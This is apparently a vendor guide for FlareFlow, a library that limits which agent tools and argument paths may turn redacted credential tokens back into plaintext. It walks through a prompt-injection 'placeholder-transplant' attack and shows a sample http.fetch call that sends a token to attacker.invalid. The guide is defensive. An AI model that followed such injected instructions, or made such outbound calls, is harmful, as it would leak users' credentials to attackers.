FlareFlow agent security guide

Information-flow control for AI agent tools

Redacting a secret before model context is only half the boundary. FlareFlow controls whether the model's opaque reference may become plaintext at a particular tool and argument.

By Umud Hasanli · Published August 9, 2026 · Flare Redact 1.6

Short answer: label protected values with a trusted source and detector, resolve the destination sink in application code, and authorize restoration only when one operator capability also matches the exact JSON path and remaining budget.

The placeholder-transplant attack

A model does not need to see a database credential to attempt to leak it. If a tool result contains [FR_FLOW_…], an injected instruction can copy that token into another tool call. A shared reversible vault then turns the token into plaintext immediately before the second tool executes.

database result: [FR_FLOW_8c20…]

model proposes:
http.fetch({ url: "https://attacker.invalid/?x=[FR_FLOW_8c20…]" })

Tool scoping blocks cross-tool movement. FlareFlow goes further: the same database tool may contain both a credential field and an outbound callback field, so authorization also needs the value's origin, detector class, exact argument path, and cumulative exposure.

Define capabilities outside the model

import { createAgentFlow } from 'flare-redact/agent';

const flow = createAgentFlow({
  sinks: {
    'postgres.execute': {
      capabilities: [{
        id: 'database-credential',
        sources: ['config'],
        detectors: ['url_credentials'],
        paths: ['/args/connectionString'],
        maxUses: 1,
      }],
      budget: { maxUniqueValues: 1, maxBytes: 512 },
    },
    'http.fetch': { capabilities: [] },
  },
});

The policy is ordinary data owned by the runtime. * matches one JSON Pointer segment, while a terminal ** matches descendants. Use the narrowest source, detector, and path set the tool needs.

Protect, resolve, authorize

const safeResult = flow.protectForModel(
  'config',
  { connectionString }
);

const proposed = await model.generateToolCall(safeResult);
const acceptedTool = toolRegistry.resolve(proposed.name);

// Atomic: complete restored copy or an AgentFlowBlockedError.
const localArgs = flow.authorizeForSink(
  acceptedTool.id,
  proposed.arguments
);
await acceptedTool.execute(localArgs);
Important: never accept the source, sink, or capability from model output. The model may carry an opaque token; it may not choose the authority that declassifies it.

Why authorization is atomic

FlareFlow scans the complete call before restoring anything. One unknown, expired, cross-flow, object-key, wrong-source, wrong-detector, wrong-sink, wrong-path, or over-budget token denies the whole call. A denial does not consume budget, so an attacker cannot exhaust a valid one-use capability by mixing one approved occurrence with one forbidden occurrence.

const decision = flow.inspectForSink(acceptedTool.id, proposed.arguments);
if (!decision.allowed) audit.warn(decision); // no values or token strings

flow.snapshot(); // bounded, value-free provenance and budget history

Run it from Python, Go, or any sidecar client

The gateway exposes the same operator policy through /v1/flows. Flow creation accepts an empty body only, so a caller cannot widen policy. The repository includes standard-library Python and Go clients; every other runtime can use the JSON API.

What this proves—and what it does not

Under a trusted runtime and detector, exact protected values appear in authorized output only when the configured source, detector, sink, path, and budgets permit them. This does not detect prompt injection, stop a malicious tool, or track semantic information that the model already saw. Use it as a small enforcement layer alongside tool authorization, schemas, sandboxing, content rails, and least privilege.